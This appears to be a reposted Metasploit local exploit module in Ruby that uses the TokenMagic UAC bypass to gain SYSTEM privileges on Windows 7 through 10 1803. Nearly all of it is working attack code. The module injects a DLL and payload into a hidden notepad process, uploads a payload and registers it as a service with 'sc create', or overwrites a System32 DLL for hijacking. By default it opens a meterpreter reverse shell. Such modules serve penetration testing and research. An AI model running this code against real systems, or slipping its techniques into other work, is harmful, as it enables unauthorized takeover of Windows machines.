Microsoft Windows TokenMagic Privilege Escalation

[Kev]

This Metasploit module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE # Needed for generate_payload_dll
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)',
        'Description' => %q{
          This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL
          hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803
          are affected.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'James Forshaw', # Research
            'Ruben Boonen (@FuzzySec)', # PoC
            'bwatters-r7', # msf module
            'jheysel-r7' # msf module
          ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' =>
          [
            [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2017-05-25',
        'References' =>
          [
            ['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'],
            ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'],
            ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'],
            ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html']
          ],
        'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
            'WfsDelay' => 900
          }
      )
    )

    register_options([
      OptString.new('SERVICE_NAME',
                    [false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
      OptString.new('WRITABLE_DIR',
                    [false, 'Directory to write file to (%TEMP% by default).', nil]),
      OptString.new('SERVICE_FILENAME',
                    [false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
      OptEnum.new('METHOD',
                  [
                    true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger', 'SERVICE', ['SERVICE', 'DLL']
                  ])
    ])
  end

  def setup_process
    begin
      print_status('Launching notepad to host the exploit...')
      notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end

  def inject_magic(process)
    if sysinfo['Architecture'] == ARCH_X64
      library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
    elsif sysinfo['Architecture'] == ARCH_X86
      library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll')
    end

    library_path = ::File.expand_path(library_path)
    print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
    dll = ::File.read(library_path)
    exploit_mem, offset = inject_dll_data_into_process(process, dll)
    print_good('Trigger injected.')
    payload_mem = inject_into_process(process, payload.encoded)
    print_good('Payload injected. Starting thread...')
    process.thread.create(exploit_mem + offset, payload_mem)
  end

  def launch_dll_trigger
    print_status('Trying to start notepad')
    process = setup_process
    inject_magic(process)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
  end

  def payload_arch
    payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86
  end

  def exploit
    win_dir = session.sys.config.getenv('windir')
    cmd_path = "#{win_dir}\\system32\\cmd.exe"
    if datastore['SERVICE_FILENAME']
      service_filename = datastore['SERVICE_FILENAME']
    else
      service_filename = Rex::Text.rand_text_alpha(5..9)
    end
    service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe')
    if datastore['SERVICE_NAME']
      service_name = datastore['SERVICE_NAME']
    else
      service_name = Rex::Text.rand_text_alpha(5..9)
    end
    if datastore['WRITABLE_DIR']
      writable_dir = datastore['WRITABLE_DIR']
    else
      writable_dir = session.sys.config.getenv('TEMP')
    end

    if datastore['METHOD'] =~ /DLL/i
      bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll"
      payload = generate_payload_dll
      vprint_status("Payload DLL is #{payload.length} bytes long")
      client.core.use('powershell') unless client.ext.aliases.include?('powershell')
      register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.
      # Replace Value in Generic Script.
      cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll"
    else
      bin_path = "#{writable_dir}\\#{service_filename}"
      payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
      vprint_status("Service Name = #{service_name}")
      client.core.use('powershell') unless client.ext.aliases.include?('powershell')
      # Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command.
      cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}"
    end

    # Check target
    print_status('Checking Target')
    validate_active_host
    validate_payload

    # Upload the payload
    print_status("Uploading payload to #{bin_path}")
    write_file(bin_path, payload)
    register_file_for_cleanup(bin_path)

    # Read in Generic Script
    script = exploit_data('tokenmagic', 'tokenmagic.ps1')
    script.gsub!('_CMD_PATH_', cmd_path)
    script.gsub!('_CMD_ARGS_', cmd_args)

    # Run Exploit Script
    print_status("Running Exploit on #{sysinfo['Computer']}")
    begin
      print_status('Executing TokenMagic PowerShell script')
      session.powershell.execute_string({ code: script })
    rescue Rex::TimeoutError => e
      elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
      print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
    end

    if datastore['METHOD'] =~ /DLL/i
      launch_dll_trigger
      print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger and recieve a shell.")
    end
    print_good('Enjoy the shell!')
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog('Could not connect to session', error: e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_payload
    vprint_status("Target Arch = #{sysinfo['Architecture']}")
    vprint_status("Payload Arch = #{payload.arch.first}")
    unless payload.arch.first == sysinfo['Architecture']
      fail_with(Failure::NoTarget, 'Payload arch must match target arch')
    end
  end

  def check
    sysinfo_value = sysinfo['OS']
    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)
    if build_num.nil?
      return CheckCode::Unknown("Couldn't retrieve the target's build number!")
    else
      vprint_status("Target's build number: #{build_num}")
      build_num = build_num[0].to_i
    end

    vprint_status("Build Number = #{build_num}")
    if datastore['METHOD'] =~ /service/i
      # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
      return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134)
    elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134)
      # DLL method has been tested on Windows 10 (1703 to 1803)
      return Exploit::CheckCode::Appears
    elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063)
      print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
    end
    Exploit::CheckCode::Safe
  end
end

 

Source